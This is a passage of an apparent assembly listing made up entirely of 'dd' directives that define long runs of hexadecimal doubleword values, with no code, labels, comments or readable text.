688A2DCEh, 3D274629h, 63174A06h, 9E36A8DCh dd 19FD9F17h, 0F892EB3Fh, 0D9E250A3h, 414BA204h, 8618FE5Ch dd 0E1CFE9ABh, 0F3A884C3h, 16EBCA1h, 0A1ED172Ch, 0B17AD0C1h dd 0D2FFDA52h, 0EB810037h, 3CCF086Ch, 0ACB0D329h, 1C4E0883h dd 5337D3F9h, 8D10699Eh, 81805CFAh, 3DE07FCBh, 0FE951158h dd 1621AFC5h, 0E6ABD613h, 0E95A052Bh, 2FD4D747h, 0CFDAB8FAh dd 0D0A4CBCFh, 9DBD0F2Ch, 9812D693h, 316969Dh, 12EA2AE1h dd 5208B4Eh, 79FF57D7h, 2B78890Fh, 7FB604ADh, 0CBB49B0h dd 739D2819h, 2EB094E2h, 4EAA375Ah, 5FC4AB2Eh, 5C09EF40h dd 85B25935h, 1F1CB252h, 4ECE56A4h, 0E4C45670h, 76FF978h dd 5E716EF8h, 517948B2h, 8E4E8272h, 5BC0DDFEh, 2A2602C2h dd 1B003F20h, 29195B0Eh, 81CD0D6h, 2D141C68h, 0F60F7BA9h dd 0E77768EBh, 62F6AC87h, 0E901705Ah, 5D6E8AF0h, 0D603D22Ah dd 0AC0B3634h, 0E216223Bh, 9070BEBh, 7C39D5EDh, 84122A73h dd 32077FB2h, 0E201035Dh, 600B986Eh, 9F8CED57h, 0DA1C844h dd 38B80053h, 0A93264Fh, 8D52516h, 6809B556h, 968468DBh dd 0FF258571h, 41582399h, 79CE284h, 0D780FD79h, 0A9F31FCFh dd 0C8BC5CFAh, 0D7147D27h, 7F258399h, 9660CC32h, 808045F1h dd 0E3CCFFCBh, 9E0CC986h, 0B49239E3h, 2CCC835Fh, 659872Fh dd 950CB106h, 4C267F6h, 0E8907D53h, 0ADC24A21h, 4C393F68h dd 0FE48E40Ch, 0BFE91365h, 0B195514Ch, 40F2AA74h, 97941340h dd 6850C8F4h, 0D2725FE8h, 0A25F562Dh, 404302BAh, 24FE60E8h dd 1C667911h, 18772750h, 3C21B08Ah, 4086282Ch, 0D307E0C0h dd 58594844h, 80099F88h, 615D8DE5h, 0C04105A0h, 0C99D2DCBh dd 2D52DFE1h, 0B5749DDFh, 0A8198489h, 292F96h, 0E37045C2h dd 0BA585F7Fh, 0B6523230h, 0D2B10285h, 885AF128h, 97E9EFC0h dd 9AE55F3h, 6C772CE1h, 0EC7497DEh, 6D05E905h, 1E40A252h dd 0FA7215F6h, 37F29763h, 67257001h, 180E923h, 7EEBC58Fh dd 0EE20B745h, 0C6EA4970h, 0DE4F7D44h, 0C274810Ch, 0A0DA012Fh dd 0CD008FAh, 0CD065014h, 0F197A59Ah, 0EA50C47Eh, 4F83C1C0h dd 41514134h, 9B54BFh, 3D53C4FEh, 832529B7h, 7EB5A070h dd 55E9F048h, 36EEFD5Bh, 77263AB9h, 4042171Ch, 0C1277464h dd 57D11E9h, 394D9600h, 58138A7h, 856D57F5h, 5DC2AF02h dd 3C23DE43h, 0EE52C296h, 0E9D62480h, 405660B7h, 0A9296BB9h dd 2ABB6701h, 31412F2Eh, 0E9662C3Bh, 30B737FEh, 97E66D7Ah dd 5505DCC4h, 47AA6852h, 627B73E3h, 996C4158h, 6946D17Fh dd 0D2C73066h, 69907AE4h, 2DDF74Dh, 851FB850h, 405D9613h dd 80A3277Fh, 20BF781h, 7557EB16h, 6CD10A87h, 31136030h dd 3F84718Fh, 0BDC50BC1h, 64FC2102h, 0E29D2EBDh, 909FC6A5h dd 3EBB41CAh, 266772E9h, 7D5BD2F5h, 76EF5F6Bh, 0BC803FADh dd 743D2CEDh, 24649C05h, 75ED7D25h, 7DED110Bh, 0D99FF79Ch dd 0EC626A1h, 0BF135508h, 60186CA7h, 0B1C6793Eh, 0DE2ECD04h dd 4FA8F131h, 9DEAE478h, 5204CA6Ch, 0A63DE954h, 1282E9A4h dd 0C03E9E13h, 0F9A1BD92h, 0E2369A2Fh, 0E209DFC8h, 2B39D978h dd 0BE56012Ch, 717E1D29h, 7CF6F470h, 20CD9813h, 0B5264945h dd 73040495h, 0B2AAF530h, 50550EF5h, 88488068h, 792D584Dh dd 4FF1584Fh, 412E7816h, 611939FEh, 68A1E977h, 8E9E5B41h dd 9B10A742h, 6B8C5A67h, 1570602Ch, 35E76696h, 0CFEEC128h dd 0FCBD3F9Ah, 7CF1896Eh, 6CC8420h, 0D0F43F45h, 68249F61h dd 607361E2h, 0E6B1C44Eh, 8B80236h, 0F7530160h, 0F80DEA00h dd 6C603047h, 4E680310h, 1E2AB33Ah, 7A9001FDh, 7EA140E9h dd 4787A9ECh, 0DBDD0952h, 19E9C1E2h, 0E3BD6EE1h, 9596223Ch dd 0C50EA854h, 0DA881368h, 0C66C442Bh, 7AB7402h, 76F309AAh dd 97DAC2A0h, 1D25409h, 4E1216BDh, 72A82E5Fh, 2D5279Fh dd 8990E9DEh, 0E8276A42h, 80676B7Dh, 282D5DBFh, 90AD010h dd 6F55380Fh, 0C4C853D0h, 0D1FA2792h, 688037F0h, 141F171Eh dd 317B4030h, 892D97D7h, 0F4E9D112h, 9E058DF0h, 7BFEA75Dh dd 7CC3E9C2h, 0AF5E132Ch, 0CE814A07h, 2B185811h, 53CD8882h dd 0A2E03132h, 0EB90895Ah, 0FC5CBB27h, 7CF9628Bh, 5A10F706h dd 0B54FC49Ch, 0A2AC6ADBh, 2974EA4Fh, 0BED23FB9h, 9450378Ch dd 0EDD00EFCh, 0CDFEE542h, 0FE15D9C3h, 2F71841h, 873988F2h dd 0E5E05526h, 36C0C3CCh, 611575B9h, 20FF974Ch, 0F720C530h dd 61FEF255h, 4E67EA5Fh, 809DEF41h, 8C4B38A1h, 20F0455Ah dd 6CE162C1h, 0EE54408Bh, 4E776841h, 932AE33Fh, 26E672ECh dd 0C2CEE925h, 55565FE2h, 9CBF805Eh, 12E317BFh, 0C9C4A231h dd 0DD608052h, 0BF4E15E9h, 0C693896Bh, 1BF20860h, 0CD52A903h dd 520D1A4Ch, 5A440529h, 7C9AE92Dh, 0E1A97AF1h, 0C30254ECh dd 69FB8AF6h, 5F4BE853h, 33222F20h, 700F3E2h, 3EE9415Bh dd 9D97A9Dh, 0E788ABB4h, 1781804h, 8D9BD66h, 1FD5F4D2h dd 9E5D27B7h, 82175A8Bh, 9CDE0170h, 3E685740h, 2FBFAD6Ch dd 0B00060D6h, 0E9710E70h, 4F0C6267h, 9308332Ah, 0FC767200h dd 0E2172D44h, 0A1034EDFh, 0AE0704ECh, 0C14BD50h, 3E5226E9h dd 9DFC9859h, 0FEDBA285h, 0A89A49E2h, 176F82C0h, 0DED841E9h dd 3A42C5E9h, 2B060DF3h, 0C73DD41h, 173E5CE8h, 5BEE1D55h dd 0E926FD41h, 0D32ED7AFh, 0C2999D3Ch, 0FA6C70CDh, 0E797F6Ch dd 0CC0E4BF6h, 4B409FD5h, 7085FC47h, 94759D82h, 0C9C20463h dd 0FA0D1A68h, 80418F1h, 0F6AEB9C5h, 8ED684E6h, 0E46E57EBh dd 0F201EBC9h, 0E93D37C9h, 0B8517EB8h, 1053272h, 0E724313Dh dd 0A5BD473h, 5008F424h, 0D7CEC91Dh, 3B50D222h, 29E909EFh dd 0CD985733h, 0D62C425Dh, 1E312516h, 56B06F3h, 4580CABh dd 0C02ABD13h, 2E95BE4h dd 770DE2B5h, 9516B74h, 0EFB6137Eh, 481CD4D0h, 0E7414E33h dd 0C7E21819h, 0EECC046h, 8AC48006h, 0F6EECC61h, 0A1085DCh dd 0ABA83FE9h, 22F94Ah, 4F5B1CEAh, 91D601E3h, 0AC0964E1h dd 4D5A7AA7h, 0AD7CA30h, 495B24F8h, 8801121Eh, 0AC813129h dd 9771CAD8h, 0F595CA1Ch, 0E91A46B6h, 0FFA6AF8Eh, 6806BC71h dd 6C671E61h, 5E7C8F77h, 1BBE7A1Eh, 33E8E8D6h, 0D38FA5Fh dd 40314181h, 0A3DFF0B9h, 0F527D879h, 254A225Eh, 0B5EB2276h dd 0EB7970FDh, 216B1097h, 2A5AD8D7h, 0C56454EFh, 76A277Ah dd 0BBCD97Ah, 28541988h, 595E9F39h, 0F1FA0C34h, 6133F965h dd 0EF492A3Fh, 92977551h, 68A468A5h, 0CC2E53DBh, 0E1ACE916h dd 0DFEFFDCCh, 0BE5671B2h, 821E55E9h, 18FDE913h, 533D99A3h dd 143F9318h, 2C3CDB34h, 0FFA8B5D4h, 3EA3E2BFh, 0EBE615D6h dd 0B2AB93BFh, 31471877h, 18A6F289h, 0C78D975h, 0D524262Ah dd 0DE024439h, 0FD2ECE33h, 0F0075B0Eh, 54EFC0D8h, 4B5BFC29h dd 840B5BDh, 0C0A02EE9h, 0F445A031h, 0D1375F1Ch, 522C2E58h dd 5643C1E7h, 630656F9h, 0EC907895h, 0F6D6C2E1h, 53F5E600h dd 3DC0BDB7h, 0C78904E7h, 218964E9h, 2D5E7BD5h, 179C6D4h dd 1456EF14h, 810F6BFCh, 7ACF3F1h, 754183A4h, 0F65A0478h dd 2DB7D265h, 0F431FE5Fh, 0E16C33E9h, 784F6809h, 5064CBD6h dd 0BCC6FAC1h, 0A966272Bh, 5F46B285h, 0E82687DFh, 0A88AA53Bh dd 0A3126EEh, 521FFE25h, 60B77D3h, 0AEDCF984h, 95DA8913h dd 0C67F69DFh, 0A04A0D38h, 2403B130h, 0D7BA7FFDh, 0E9C3B8A3h dd 0EAB9696h, 4FE5A804h, 1449ABC5h, 5375417Bh, 0A2F4EC2Ah dd 571F0C9h, 0F05247BEh, 438DC36Fh, 9050D3Dh, 0F50DF203h dd 12074F08h, 9230A25Eh, 404D52F4h, 52B52D37h, 7E5748A9h dd 5EF99B16h, 81681409h, 1640FDC4h, 5E7E0E0h, 0C174CF4Ah dd 0C0961CE3h, 184C30A4h, 0C6B4A5E9h, 0F8CCF02Fh, 4AEA94DAh dd 0B7980C13h, 0CD985E10h, 735DC2F3h, 4E7527B9h, 4BE9127Ch dd 879C966h, 2A9E2DC0h, 58B5D1Dh, 0FFB07735h, 71B577EEh dd 6A80DADFh, 12481A5Dh, 0A9E95209h, 0E41F27Eh, 4F04AAEEh dd 404B532h, 5084BF08h, 0B9CF6AAh, 0DE557EE9h, 0E8579239h dd 46EAA5F8h, 844FEC3h, 0ED805905h, 5EF30E5h, 4562A34Eh dd 873B117h, 5A00CC83h, 0F6DEE180h, 0B0501FD9h, 0B9C78A4Eh dd 216B80E9h, 510D3D4Ch, 531D721Eh, 25787982h, 0B570DF36h dd 2098CD5Ch, 48A9861h, 0E37B99EFh, 0D5F5EBF7h, 9B56E720h dd 0BD2AB07Ch, 2612EE5Ch, 1A04D729h, 71FE8DAh, 2F64747Fh dd 0D3D63D45h, 0FEF1ED8Dh, 37A941C5h, 1F286958h, 34135E9Ch dd 684C1F1Fh, 28EFEF50h, 25415857h, 0EC7F644Bh, 73532003h dd 0B535448h, 0F61C02BFh, 531212E3h, 0E2D5ABA9h, 77B058A8h dd 1E30387Dh, 5E085201h, 0E32BFB8Bh, 0F0E985D5h, 9C537FB0h dd 425C49F4h, 0D42DD30Bh, 7B35708Eh, 5F6BDF83h, 50D9A3C3h dd 528C7F34h, 9D67281Dh, 3B012CDEh, 0AE7E525Ah, 2B300CCDh dd 4A75D799h, 82B4FC26h, 4BBA8435h, 243ECFFEh, 318B8740h dd 74105FCBh, 6812FBBFh, 0B5E02D3Fh, 0E8B4414Ch, 199716AAh dd 57E2F1B4h, 8BDD78B2h, 0C254FC9Bh, 750983D9h, 5F88CEDBh dd 29022F92h, 0BEA41h, 8BA523Ah, 35953E14h, 280911A7h dd 9311807Dh, 0A1B9B896h, 0D2793096h, 545FF4DAh, 0DC815C72h dd 12B82E9Fh, 0C83E4385h, 5D1F5C85h, 20654D52h, 341E9009h dd 7E2EC6Ah, 291409D7h, 62CC6CC1h, 65CE8B95h, 3944252Eh dd 0B9736921h, 0AFD3E1A7h, 67185300h, 17CB814Bh, 0BCC35406h dd 0F0FE7412h, 0FB095612h, 0D4806009h, 0B850407Ch, 4012458Bh dd 86095576h, 5420182Eh, 9422C159h, 2A741A07h, 8617CBCh dd 7E95DDF7h, 0D0FA5EE1h, 0B1B83A17h, 87285FF8h, 8FEAD2B8h dd 3FE2BCBh, 7C9C0C98h, 215F802Dh, 6938045Eh, 2D826A4Eh dd 22E1A62Ah, 18BF0472h, 4D541C13h, 0E54C6426h, 750D561Ah dd 0B5A7D76h, 18A1FDB7h, 2484DBE9h, 0E0FBC10Dh, 0E63B3D95h dd 190B7830h, 0DC2C5648h, 0A1FF5B31h, 2EBCE5E9h, 3E300C89h dd 665695ABh, 0A8E48069h, 3C413D3Eh, 0A172EF29h, 0C285D08h dd 158AFBF5h, 525BD809h, 64058498h, 1B075D02h, 892DD029h dd 0F7FB5507h, 77E20BA6h, 7F820974h, 7245856Eh, 2129492Ah dd 530425D0h, 18805B54h, 1D3F1706h, 0A521E94Dh, 3501CF59h dd 0DD116BA9h, 0B9ECEF45h, 92C0C7B1h, 42B5C16Fh, 25A9F27Eh dd 417F615h, 0B2B5DCE9h, 689475CDh, 2EF09289h, 0EA2AA324h dd 7BD4D146h, 0FAF15592h, 755F7F09h, 0FA2C6BD0h, 0BC40EE2Bh dd 9767A760h, 0A7488BDCh, 348B600h, 492FE962h, 0FE1C4672h dd 0BD461210h, 5E150B3Eh, 0E68C8026h, 5B3A1BA0h, 39E9BC55h dd 9B63AD68h, 0C5DD804Bh, 132698AEh, 0A0520760h, 6D04FEE2h dd 0D6297CF6h, 0C680810h, 65E91F14h, 4BF217Ch, 0A16675CEh dd 0FE201AE1h, 65805C23h, 717F5BC9h, 6C56B4Ch, 43B6BB81h dd 0BF3B0C7Bh, 8FA1309h, 5F170B83h, 9EBAA7D5h, 6CE9095Bh dd 9B27A27h, 1D0A0966h, 1485F05Fh, 0E1710BC5h, 2137EB16h dd 2B910C59h, 148628BEh, 1E32608Bh, 0F028A504h, 3E5E59F2h dd 788E36D0h, 7D89F2FAh, 499630F9h, 641AF51Bh, 0C2BD7B73h dd 826FDE7Eh, 1EFA27BDh, 3508AC83h, 0F2DE448Ah, 2E149807h dd 0BECDA15Fh, 0D2318813h, 31BFF4C3h, 0A53F84D6h, 0A5D6F1EDh dd 0F7FA7DD6h, 3952D483h, 8BBF9E0Bh, 29278215h, 0C34841F8h dd 2D68BCFDh, 0E1515927h, 33447F49h, 48B1DA7Ch, 60B5825h dd 6E3961DDh, 50281101h, 0A3900A68h, 0BDB6AD20h, 3A2021D0h dd 8692CF36h, 0F321B039h, 6848657Bh, 5BBF703Ch, 32CA82E1h dd 826125D5h, 0C20640C6h, 0EE3D71D2h, 76B5A443h, 0A0CE479Ah dd 0E066BB55h, 29F92598h, 283B2B71h, 0A05BAC8h, 5083A49h dd 27CDC8AFh, 88AF9B4Ah, 0F6255C5Bh, 89CF71E1h, 9EDF6931h dd 295A2041h, 16C10539h, 262161E6h, 0CC3F0E87h, 0D14F245h dd 5F082176h, 8540CFB9h, 59A0BF86h, 543D5A2Dh, 9E01C9ECh dd 68124232h, 6386CC6h, 0DB701C1h, 95F07BD8h, 581FC982h dd 7474C677h, 5154BA90h, 0FC3F9DF2h, 10C6B98h, 5E76DE27h dd 0CE39E36Fh, 4EB789E9h, 37DF3035h, 7975C2ADh, 9B6F312Eh dd 68818E2Ch, 6B4F3DEAh, 7AC6B171h, 20981EA3h, 990F8BD9h dd 9E6BECD5h, 6A5CF103h, 34CDD9D1h, 59CE2100h, 7E6C113h dd 84A2810Fh, 0B780778Ch, 16880FFCh, 0E0AFE901h, 0B0EC5178h dd 645C0DC9h, 0D162D85h, 0D6B552CCh, 58C662D6h, 2225E2E5h dd 981E6BDh, 981EF7Fh, 0DF2067E9h, 5A4C7B35h, 9FE87C4Eh dd 0AA280D12h, 1B42F22Dh, 0CDA482Fh, 1DD23D1Bh, 0AF7D8B12h dd 2D302CA5h, 914B1310h, 7CF7B01Ah, 4141784Fh, 7EDA17FEh dd 18912620h, 0C0DBF53h, 26170C77h, 0F70E4910h, 7C6CA174h dd 0E900F109h, 694850E0h, 93CA3BCDh, 6C27C906h, 354A0E01h dd 705A5DF6h, 586EC249h, 2F764820h, 17015CFBh, 6ABFF126h dd 82A41CACh, 67D53300h, 32C5271Dh, 5DCBE906h, 0B9C25A85h dd 4E2E480Ch, 12CD5C0h, 3E83DC0h, 70C1B12Fh, 16432C64h dd 0F2B72790h, 6F1C04Ah, 3A7D6618h, 6734E305h, 88002E9Eh dd 1DF76F7h, 0EA539546h, 6BFB043Bh, 0F6A1EFA6h, 0E3031D6Ch dd 27F506AAh, 20FCC3B0h, 8E3A7624h, 5FDF321Ah, 94CAD96h dd 0E2C14ECBh, 0F3FED568h dd 5F4A00BDh, 0B6BE134Eh, 5060C470h, 9E42E080h, 0AB74B76Eh dd 5B600820h, 0D84D101Eh, 99314A47h, 793B61FCh, 0DC815088h dd 2D5C141h, 0C5088E50h, 0B3531758h, 420FB94h, 2671AFB9h dd 3404C0Ch, 35453E7Fh, 1A6B0C07h, 0E1C11070h, 23C46520h dd 0A0E92D41h, 9C29EA0Bh, 6916D1D7h, 0DA0F2AFFh, 84C60318h dd 0FCDA907Ah, 0EB6A58E3h, 840BC81h, 40FB3A07h, 0EE38F270h dd 69B2297Ah, 3B6D4120h, 335A5368h, 8DFA3C75h, 0E130EDC8h dd 8852580Eh, 71F749CEh, 3DBA09BDh, 2935A7Dh, 437B79E7h dd 9E40503Eh, 4A0101ECh, 7F21B823h, 0C02F2AC1h, 56920DD0h dd 2D25C900h, 32127E73h, 5AA80505h, 0BE215875h, 0F7D87C2Dh dd 289EE067h, 25835630h, 0FE435B6h, 29407EF0h, 0BF02B559h dd 0D60B413Bh, 91E4A75Ch, 9D433020h, 0E134AA58h, 0AEC10E17h dd 5005006h, 591D08D6h, 0E4844053h, 0B8AE19A0h, 0CF011713h dd 515D5D01h, 63743AB1h, 7AE6275Eh, 1C566D6h, 160954A0h dd 8B5559CBh, 278A1CBCh, 59BAD527h, 97752518h, 0A8BA6082h dd 3DE12577h, 0A42FA278h, 41FBF321h, 7A75F9E9h, 0A059DFDCh dd 0C964AF2Ch, 21F5EB3Fh, 282568DBh, 0F5C67F78h, 0F305274Dh dd 0A1439D10h, 0A0A707D6h, 0CB2FFC89h, 6977ED25h, 263CB043h dd 92CF4C7Bh, 83728014h, 5225BAB0h, 27FC9F5Eh, 516FA307h dd 4BE26023h, 6C0D8021h, 64DEA87h, 206FE57Eh, 1B029A63h dd 0B8E94923h, 6A77094Fh, 8E2EFDBEh, 0C36A061h, 52CAD87Dh dd 63F43218h, 274F3818h, 7670954Dh, 16DA8927h, 0B2C50125h dd 1432A28h, 8DEA0D5h, 58B3749Fh, 0CC01DDBh, 1C074BBAh dd 0C3BE0572h, 0E0B6EFF8h, 0B4D3EE9h, 0BA5201E0h, 30A95A40h dd 937CA2F1h, 0AB5B5413h, 985F7D9Bh, 6F3A68BEh, 24D24E74h dd 0EEE6DD6Bh, 6032C995h, 0C6D325C7h, 0E2F61172h, 0F820E04Eh dd 9542CD68h, 0DC2FF746h, 0DFE0CA84h, 0C3694C2Fh, 73145E1h dd 69511582h, 92E3BC77h, 3DC9C10Bh, 2BA2C92Ah, 0C28C00BAh dd 22283AE5h, 2A320CC0h, 38E9FEF7h, 0AA5B342Ch, 0B0684F3Ch dd 60B19EA7h, 214F03F7h, 0C5587FAh, 5D5A2B0Dh, 0FEA1610Ch dd 0A6BD9D81h, 0E8156616h, 99B5B938h, 0A53F6A5Bh, 91853B49h dd 0C80D0439h, 4AF18004h, 0C9603C88h, 2C8B5D04h, 0EEA5C8A9h dd 284B90F6h, 0E97557E3h, 59CACA5Dh, 0C1C90124h, 4933A826h dd 0D4103369h, 1724C4Fh, 0D6D669Fh, 352EDA31h, 329360D7h dd 3FFFD587h, 2610A2B0h, 15A18FDh, 355360F7h, 23C14101h dd 0F0280175h, 0C444ED31h, 88D2A4h, 0C12C4835h, 685602EFh dd 187D4B25h, 20459A0h, 23BE6A87h, 0AE63399Eh, 0AEBD565Bh dd 1EE2BD5Bh, 7D27236Bh, 0D09DA1CCh, 0EEE85F75h, 0C9908B62h dd 0BEFC5940h, 91399C54h, 0C5B32C8h, 0CBB1002Bh, 80019DB7h dd 0CFFED6F7h, 8BCD7F6h, 0C69E797h, 0B82AD1D9h, 0E816040Bh dd 0E2350874h, 1459E08h, 0A0136855h, 3BB321D0h, 0A7E666FAh dd 8C47912Ah, 14F0E23Bh, 4CB30A16h, 2D047985h, 0FF33AEE9h dd 0F440F9FAh, 0E28581FDh, 0B427FC70h, 69CCA0BFh, 5C8EC52h dd 444B4947h, 0CAC18A87h, 0B76F68D5h, 1A13147Bh, 0DAD0D1h dd 3EAB0A14h, 4FB5E95Eh, 9E60B948h, 556D0889h, 660BFB9Ch dd 0F61A73B9h, 34F0F37h, 7D8DEC32h, 1F41554Ch, 5DCF39B2h dd 4EBFA257h, 55F87564h, 3E7C102h, 0FF5B9FE9h, 0EA7657C4h dd 2C044D1Fh, 44C25452h, 0C4835766h, 0E3A3D4F6h, 0DC7658C2h dd 69CE8007h, 0CAAAC3Fh, 0D2E913DEh, 0F96DF44Fh, 22EF5608h dd 80FC2729h, 2112DD00h, 9779E975h, 0D8ED1823h, 505601D8h dd 0F1D2A7F8h, 91FBCED4h, 56EDDD1h, 493800BCh, 4D1920FAh dd 77E6892Ch, 79C1F516h, 0B27B315Eh, 5E55C978h, 32DD25C2h dd 5A27FF8h, 0F8D95C37h, 8384F7C9h, 5A9801Ch, 0E427F506h dd 2ACC556Ah, 75523ABCh, 6F472582h, 4C587F09h, 0EA5D9505h dd 0ABE65964h, 5C21A710h, 82C33CC0h, 13BE844h, 35CB5AD8h dd 80F5ABCAh, 0BE75BFDAh, 774BB92Dh, 26DA6029h, 2A22F334h dd 0E588EDEBh, 57F86A99h, 0E660B68h, 46026A88h, 0F1FD906Bh dd 821C9006h, 54597268h, 0B1107BB5h, 800E763Bh, 0F56132E5h dd 0C18DB64Ch, 0E4B06EEEh, 5ADE98EBh, 3023C92Bh, 1040CDD9h dd 45D7A05Bh, 0F82C713Eh, 0A6A25413h, 0C67995F9h, 68C5DF25h dd 6965576Bh, 0E051D81Bh, 0B8B92CC2h, 0CEB2BFh, 0E00B2EB8h dd 5D0F725h, 664BD607h, 9B312D73h, 913A5D53h, 49F70836h dd 0C4C7F3DCh, 4039BA1Dh, 2ED11B60h, 1A50563h, 0CD1849F5h dd 0EB832047h, 20606D0Eh, 5B2DB601h, 0AD9DF46Ah, 44680D0Ch dd 24A30E59h, 89C2D17h, 702F0FA1h, 0B2EA171Bh, 0F6B604C0h dd 41ECBDAh, 65E97FB5h, 195245BFh, 0E2ED6759h, 680263B4h dd 0F42BD8C5h, 8D316BC0h, 5E9F2878h, 565A0996h, 787783C2h dd 0F5669040h, 161AE22Eh, 0BBD187h, 212C7661h, 344B682Eh dd 3981EBADh, 5A7967h, 1262CE35h, 0AF4023C5h, 0B05AE4A2h dd 3AFD3442h, 9F2B63Ch, 720D2D3Fh, 56E102F7h, 6F0F5C54h dd 3DEADE2Bh, 0AD1FD97Fh, 0AC42A17Ch, 4D99FFADh, 4E6338B6h dd 8E148AAEh, 563C9AF3h, 0DCF05A35h, 0B2754100h, 74E4056Ah dd 927F286Ch, 18E38192h, 7E2AA17Ah, 33D42AA7h, 0BFB64013h dd 2C687828h, 0C05A2090h, 619C722Bh, 0EA0B8EB0h, 0DF62CD19h dd 30522A83h, 1A060DABh, 104A749Ah, 781A1618h, 5607EE37h dd 82A9B82Eh, 5C141D05h, 69E2C2B4h, 8D899B59h, 4B841145h dd 0FB48023Ch, 0EE570F16h, 556FAF04h, 3F91CAEAh, 0ED534F43h dd 3A10AFA2h, 31007A61h, 4177214Ah, 189DF181h, 0C297C62h dd 63064A5h, 4C0F1B6Ah, 0B1344A5Bh, 49D838ADh, 49F3C8F6h dd 6FE5C5D8h, 3240EFF1h, 61334458h, 0BDFF657h, 8780FA8Dh dd 0FA59C78Bh, 8BAF014Bh, 2AAA165Fh, 5EA4D45h, 0FAFA2C4h dd 60D0DB65h, 2A745082h, 0A083B82Dh, 467C402h, 9BE962B4h dd 37DFDADh, 270643AFh, 8958B950h, 0C2402F67h, 7F2E411Ch dd 0CD885273h, 5C9620AFh, 35F8E4Ah, 0DF3541FAh, 7694939h dd 8E14351h, 5D246800h, 7D0C3760h, 0BD29ADD4h, 1D672FF0h dd 9864AC53h, 0BD3DFBA8h, 70B5029Fh, 0FCD25C30h, 82AA2D4Fh dd 0EEA5CF60h, 0AC01AB58h, 30DC3E7Dh, 712A8083h, 1A035BB3h dd 0EA0A9FF5h, 0CC263B53h, 7A98A628h, 30BB80FEh, 7F654D07h dd 0E5C5D989h, 0DD81B64Ah, 0EE7CA200h, 24478F0Dh, 201A5320h dd 795BEC0Ah, 90557B59h, 441C2FA7h, 0DA70B377h, 27545005h dd 18D4F020h, 62DF6858h, 23392D2Fh, 2DD8B155h, 0EBF51447h dd 39EFC717h, 3F68FDE1h, 0FBF39644h, 2511A0AFh, 923AEE96h dd 88A41DB0h, 850C39C8h, 6D52C04Fh, 0D29547C2h, 1225F25Fh dd 0C9DC9B3h, 917D3F17h, 0D3293FC5h, 5C878201h, 0A3F470D0h dd 1A7597B4h, 3DA07634h, 8DB7724h, 2C93177Ah, 7B12A9A2h dd 7A61BB82h, 8D281DD7h, 3CF42DC0h, 2CFC665Ah, 0C6DD0F64h dd 0F6A3F1EBh, 29628454h, 408591FEh, 0E9E4857Eh, 6852801Eh dd 5A7C1B08h, 0FCE8A04Ch, 0B383E404h, 0A9FAD589h, 2C2E84FBh dd 0F1E3ECAAh, 8C7E6D05h, 0D2B7EF8Bh, 0C701054Bh, 4796A8E9h dd 0C78851B6h, 0ACF3553h, 0CF961FA3h, 7BC0452Bh, 5EEE585Ah dd 0FD5DEC55h, 0BE4A3477h, 700F7813h, 52C69200h, 2526AA01h dd 0B66019E9h, 73EE564Eh, 7EC914Bh, 40482FC4h, 1E21B8C3h dd 0F8294B39h, 5E084012h dd 0DF168B95h, 805196B0h, 0AAC04AD7h, 60621B1Dh, 0C1CDAC4Ah dd 0F7FAF341h, 0EB0D548h, 0C97E85EDh, 5F5F86Bh, 7E95140h dd 5FF06392h, 1EE0F55Fh, 0FBE35B4Dh, 3E47D520h, 0A00A4F42h dd 14F356Ah, 52ED054Bh, 30CD4CAh, 0E94B9805h, 0AD71B0D2h dd 25E5052h, 0F61BDD68h, 0E2D7CA03h, 0B9C4004Fh, 0B5274E1Eh dd 5F19D8E0h, 8F48DC26h, 0D668402h, 2E19C157h, 4A88A864h dd 164B8D7h, 1AC4805Ah, 4A39E128h, 0DD0FEE25h, 3086F5A3h dd 0A4DF59C3h, 0FE40BB05h, 7EBF7A58h, 0FA44BD5Bh, 10B5040Bh dd 0B54C7728h, 0D1B69880h, 0B0E7083h, 655468D0h, 41427732h dd 1C838290h, 1363A17h, 60088D50h, 577E2BE6h, 48358053h dd 135BD120h, 4B04D41h, 0FD3B087Dh, 5A523DE4h, 0F0008BA5h dd 19050C5h, 3C0595D3h, 7B653E0Dh, 701BBB1h, 0B35CCE9h dd 2778E578h, 576412B1h, 281B7C20h, 0AAF5DF29h, 0CFD95DC6h dd 0DEEF894Fh, 0D4A7BB14h, 0D5F63683h, 7D20E8F1h, 5C7E0754h dd 17B37337h, 68161346h, 0A46D877Ch, 0C4D9FB99h, 0B23B93E5h dd 0DDE125D9h, 0D2AF09E3h, 0EFA94055h, 501478D5h, 4CC5F066h dd 0DE26E1A9h, 0EA92BCB1h, 0AE87BAFAh, 0E7085956h, 1CBCE2C1h dd 8F42E04Ah, 6B5DFE1h, 9D3F28A5h, 0BD293009h, 0E7D70073h dd 4F9022F5h, 1D50ED1Ah, 43645958h, 0B545EF1Ch, 85BFF90Ch dd 8711C7D6h, 0B844E55Dh, 5C5ADF78h, 76094210h, 0EE7E3C82h dd 0DD3C5F36h, 0FDDDEC9Ch, 0DB2816D3h, 191A6BAFh, 1E4A95FFh dd 92F9E5C3h, 0CBFA5292h, 65FB4ADEh, 0EFCEFE8Eh, 0CC63AD17h dd 1A75BB60h, 0BF60F000h, 2E4A1D96h, 5BDF2631h, 9140B39h dd 0AB4D29C0h, 0F1735194h, 1C878DC0h, 4B20BEh, 5EF30928h dd 590981B0h, 0DF687A4Ch, 98641E81h, 6B7D6016h, 42F24514h dd 77FA05BFh, 7FAD694Ch, 0F35A0840h, 3BBE17Ah, 6D8AE917h dd 0FD826B74h, 4248DF25h, 415ADD76h, 24308C3Dh, 57A5F8BAh dd 0F17CE63h, 0A78460E9h, 38E2C85h, 84C7800Eh, 0E9BDEF60h dd 24B78A11h, 8F81C8D2h, 280097C4h, 30F080C1h, 0F13F5874h dd 0FA92564h, 0E5EAC9C1h, 0E2800443h, 176081A6h, 6AAE2088h dd 0E4006E41h, 2640BFCEh, 2243314h, 0B312F67h, 0E682F8FDh dd 655B1E21h, 0E9CA4232h, 98F75670h, 2C359B98h, 0C551B2h dd 6847421h, 0E912FD31h, 76EEA41Bh, 0FE0A50A2h, 0C67DBA75h dd 0F702923Fh, 45E59E05h, 9116FBA6h, 0BA72BA32h, 8AC50F33h dd 24B2FB52h, 0BB713902h, 1E415A23h, 440FB538h, 5B2C9BBCh dd 7EC9011Fh, 206B9F2Ah, 3A2DE33Fh, 0EF0975C0h, 0FB90107Fh dd 96B99D75h, 232AF968h, 0D5E90C5Fh, 12C627ABh, 173AF0h dd 454DEEDAh, 0E9134471h, 742D3B5h, 61F151D7h, 8D35282Fh dd 0A7E7F1DAh, 68122DD0h, 0A4CD08B7h, 54EDC501h, 2081A52Bh dd 0BA0B8CDh, 395EDCE9h, 0B950976Ch, 329D89AEh, 0A2D2F43Bh dd 